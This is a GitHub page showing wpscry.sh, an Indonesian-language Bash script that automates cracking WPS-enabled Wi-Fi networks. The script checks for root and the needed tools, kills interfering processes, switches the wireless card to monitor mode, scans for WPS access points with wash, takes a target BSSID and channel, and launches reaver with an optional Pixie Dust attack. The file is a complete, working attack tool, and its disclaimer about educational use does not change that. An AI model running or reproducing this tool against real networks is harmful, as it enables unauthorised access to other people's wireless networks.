This repository was archived by the owner on Jan 10, 2025. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwpscry.sh
364 lines (324 loc) · 9.36 KB
/
wpscry.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
#!/bin/bash
# [wpscry.sh]
#--------------------------------------------------------------------------------
#
# Crack Wi-Fi yang menggunakan fitur WPS (Wi-Fi Protected Setup) secara otomatis.
#
#--------------------------------------------------------------------------------
#
# Peringatan
#
# Penggunaan script ini sepenuhnya merupakan tanggung jawab pengguna.
# WPSCRY dirancang untuk tujuan pendidikan dan pembelajaran.
# Penggunaan script ini untuk mengakses jaringan tanpa izin adalah
# ilegal dan dapat mengakibatkan konsekuensi hukum. Pembuat tidak
# bertanggung jawab atas penyalahgunaan atau kerusakan yang mungkin
# terjadi akibat penggunaan script ini.
#
#--------------------------------------------------------------------------------
#
# Pembuat script : Rofi (fixploit03)
# Github : https://github.com/fixploit03/WPSCRY
#
#--------------------------------------------------------------------------------
function cek_root(){
if [[ $EUID -ne 0 ]]; then
echo "[-] Script ini harus dijalankan sebagai root."
exit 1
fi
}
function peringatan(){
echo "#######################################################################"
echo "# Peringatan #"
echo "# #"
echo "# Penggunaan script ini sepenuhnya merupakan tanggung jawab pengguna. #"
echo "# WPSCRY dirancang untuk tujuan pendidikan dan pembelajaran. #"
echo "# Penggunaan script ini untuk mengakses jaringan tanpa izin adalah #"
echo "# ilegal dan dapat mengakibatkan konsekuensi hukum. Pembuat tidak #"
echo "# bertanggung jawab atas penyalahgunaan atau kerusakan yang mungkin #"
echo "# terjadi akibat penggunaan script ini. #"
echo "#######################################################################"
echo ""
while true; do
read -p "[#] Apakah Anda ingin melanjutkannya [Y/n]: " konfirmasi
if [[ "${konfirmasi}" == "y" || "${konfirmasi}" == "Y" ]]; then
break
elif [[ "${konfirmasi}" == "n" || "${konfirmasi}" == "N" ]]; then
echo "[*] Semoga harimu menyenangkan ^_^"
exit 0
else
echo "[-] Masukkan tidak valid. Harap masukkan 'Y/n'."
continue
fi
done
}
function cek_alat(){
daftar_alat_yang_belum_terinstal=()
daftar_alat=(
"reaver"
"airmon-ng"
"iwconfig"
"iw"
"pixiewps"
)
for cek_alat in "${daftar_alat[@]}"; do
if [[ ! $(command -v "${cek_alat}") ]]; then
daftar_alat_yang_belum_terinstal+=("${cek_alat}")
fi
done
if [[ "${#daftar_alat_yang_belum_terinstal[@]}" -gt 0 ]]; then
if [[ "${#daftar_alat_yang_belum_terinstal[@]}" -eq 1 ]]; then
echo "[-] Script ini tidak dapat dijalankan karena ada alat yang belum terinstal."
echo ""
echo "Alat yang belum terinstal:"
echo ""
echo "${daftar_alat_yang_belum_terinstal[0]}"
exit 1
else
echo "[-] Script ini tidak dapat dijalankan karena ada beberapa alat yang belum terinstal."
echo ""
echo "Alat-alat yang belum terinstal:"
echo ""
for alat_belum_terinstal in "${daftar_alat_yang_belum_terinstal[@]}"; do
echo "- ${alat_belum_terinstal}"
done
exit 1
fi
fi
}
function menampilkan_waktu_saat_ini(){
hari=$(date +%A)
if [[ "${hari}" == "Monday" ]]; then
hari="Senin"
elif [[ "${hari}" == "Tuesday" ]]; then
hari="Selasa"
elif [[ "${hari}" == "Wednesday" ]]; then
hari="Rabu"
elif [[ "${hari}" == "Thursday" ]]; then
hari="Kamis"
elif [[ "${hari}" == "Friday" ]]; then
hari="Jumat"
elif [[ "${hari}" == "Saturday" ]]; then
hari="Sabtu"
elif [[ "${hari}" == "Sunday" ]]; then
hari="Minggu"
fi
tanggal=$(date +%e)
bulan=$(date +%B)
if [[ "${bulan}" == "January" ]]; then
bulan="Januari"
elif [[ "${bulan}" == "February" ]]; then
bulan="Februari"
elif [[ "${bulan}" == "March" ]]; then
bulan="Maret"
elif [[ "${bulan}" == "April" ]]; then
bulan="April"
elif [[ "${bulan}" == "May" ]]; then
bulan="Mei"
elif [[ "${bulan}" == "June" ]]; then
bulan="Juni"
elif [[ "${bulan}" == "July" ]]; then
bulan="Juli"
elif [[ "${bulan}" == "August" ]]; then
bulan="Agustus"
elif [[ "${bulan}" == "September" ]]; then
bulan="September"
elif [[ "${bulan}" == "October" ]]; then
bulan="Oktober"
elif [[ "${bulan}" == "November" ]]; then
bulan="November"
elif [[ "${bulan}" == "December" ]]; then
bulan="Desember"
fi
tahun=$(date +%Y)
jam=$(date +"%H:%M:%S")
echo "[${hari}, ${tanggal} ${bulan} ${tahun} - ${jam}]"
echo ""
}
function banner(){
clear
menampilkan_waktu_saat_ini
echo "╦ ╦ ╔═╗ ╔═╗ ╔═╗ ╦═╗ ╦ ╦"
echo "║║║ ╠═╝ ╚═╗ ║ ╠╦╝ ╚╦╝"
echo "╚╩╝ ╩ ╚═╝ ╚═╝ ╩╚═ ╩ "
}
function menampilkan_interface_wifi(){
interface_wifi=($(iw dev | grep -w 'Interface' | awk '{print $2}'))
if [[ "${#interface_wifi[@]}" -eq 0 ]]; then
echo "[-] Tidak ada interface Wi-Fi yang ditemukan."
exit 1
else
echo ""
echo "Interface Wi-Fi yang ditemukan:"
echo ""
for interface in "${interface_wifi[@]}"; do
echo "[+] ${interface}"
done
echo ""
fi
}
function memasukkan_interface_wifi(){
while true; do
read -p "[#] Masukkan nama interface Wi-Fi: " iwifi
if [[ -z "${iwifi}" ]]; then
echo "[-] Nama interface Wi-Fi tidak boleh kosong."
continue
else
if [[ $(iw dev | grep -w 'Interface' | awk '{print $2}' | grep -w "${iwifi}") ]]; then
echo "[+] Interface '${iwifi}' ditemukan."
break
else
echo "[-] Interface '${iwifi}' tidak ditemukan."
continue
fi
fi
done
}
function mengaktifkan_mode_monitor(){
airmon-ng check kill &>/dev/null
if [[ $(iwconfig "${iwifi}" | grep -w 'Mode:Monitor') ]]; then
echo "[+] Interface '${iwifi}' sudah dalam mode monitor."
else
echo "[-] Interface '${iwifi}' belum dalam mode monitor."
echo "[*] Mengaktifkan mode monitor pada interface '${iwifi}'..."
airmon-ng start "${iwifi}" &>/dev/null
if [[ $? -eq 0 ]]; then
if [[ $(iw dev | grep -w 'Interface' | awk '{print $2}' | grep -w "${iwifi}mon") ]]; then
iwifi="${iwifi}mon"
else
iwifi="${iwifi}"
fi
echo "[+] Berhasil mengaktifkan mode monitor pada interface '${iwifi}'."
else
echo "[-] Gagal mengaktifkan mode monitor pada interface '${iwifi}'."
exit 1
fi
fi
}
function memindai_wifi_wps(){
echo "[*] Memindai Wi-Fi yang menggunakan fitur WPS (Tekan CTRL+C untuk menghentikan pemindaian)..."
echo ""
wash -i "${iwifi}" -p
}
function mengatur_bssid(){
while true; do
read -p "[#] Masukkan BSSID: " bssid
if [[ -z "${bssid}" ]]; then
echo "[-] BSSID tidak boleh kosong."
continue
else
if [[ "${bssid}" =~ ^([0-9A-Fa-f]{2}[:-]){5}[0-9A-Fa-f]{2}$ ]]; then
echo "[+] BSSID: ${bssid}"
break
else
echo "[-] BSSID tidak valid."
continue
fi
fi
done
}
function mengatur_channel(){
while true; do
read -p "[#] Masukkan Channel: " channel
if [[ -z "${channel}" ]]; then
echo "[-] Channel tidak boleh kosong."
continue
else
if [[ "${channel}" =~ ^[0-9]+$ ]]; then
echo "[+] Channel: ${channel}"
break
else
echo "[-] Channel tidak valid."
continue
fi
fi
done
}
function memilih_mode_verbose(){
echo ""
echo "Mode verbose yang tersedia:"
echo ""
echo "[0] Level 0 (Tanpa mode verbose)"
echo "[1] Level 1 (Cukup detail)"
echo "[2] Level 2 (Detail)"
echo "[3] Level 3 (Sangat detail)"
echo ""
while true; do
read -p "[#] Pilih mode verbose: " mode_verbose
if [[ -z "${mode_verbose}" ]]; then
echo "[-] Mode verbose tidak boleh kosong."
continue
else
if [[ "${mode_verbose}" == "0" ]]; then
verbose=""
echo "[+] Mode verbose: Level 0 (Tanpa mode verbose)"
break
elif [[ "${mode_verbose}" == "1" ]]; then
verbose="-v"
echo "[+] Mode verbose: Level 1 (Cukup detail)"
break
elif [[ "${mode_verbose}" == "2" ]]; then
verbose="-vv"
echo "[+] Mode verbose: Level 2 (Detail)"
break
elif [[ "${mode_verbose}" == "3" ]]; then
verbose="-vvv"
echo "[+] Mode verbose: Level 3 (Sangat detail)"
break
else
echo "[-] Mode verbose '${mode_verbose}' tidak tersedia."
continue
fi
fi
done
}
function menjalankan_reaver(){
file_sesi="${bssid}_${jam}.txt"
while true; do
read -p "[#] Mau menggunakan Pixie Dust attack [N/y]: " nanya_pixie
if [[ "${nanya_pixie}" == "y" || "${nanya_pixie}" == "Y" ]]; then
pixie="--pixie-dust"
break
elif [[ "${nanya_pixie}" == "n" || "${nanya_pixie}" == "N" ]]; then
pixie=""
break
else
echo "[-] Masukkan tidak valid. Harap masukkan 'Y/n'."
continue
fi
done
echo ""
read -p "Tekan [Enter] untuk memulai serangan..."
reaver -i "${iwifi}" -b "${bssid}" -c "${channel}" -s "${file_sesi}" "${verbose}" "${pixie}"
if [[ -f "${file_sesi}" ]]; then
rm "${file_sesi}"
fi
}
function menonaktifkan_mode_monitor(){
echo "[*] Menonaktifkan mode monitor pada interface '${iwifi}'..."
airmon-ng stop "${iwifi}" &>/dev/null
if [[ $? -eq 0 ]]; then
systemctl start NetworkManager
echo "[+] Berhasil menonaktifkan mode monitor pada interface '${iwifi}'."
exit 0
else
echo "[-] Gagal menonaktifkan mode monitor pada interface '${iwifi}'."
exit 1
fi
}
function main(){
cek_root
peringatan
cek_alat
banner
menampilkan_interface_wifi
memasukkan_interface_wifi
mengaktifkan_mode_monitor
memindai_wifi_wps
mengatur_bssid
mengatur_channel
memilih_mode_verbose
menjalankan_reaver
menonaktifkan_mode_monitor
}
main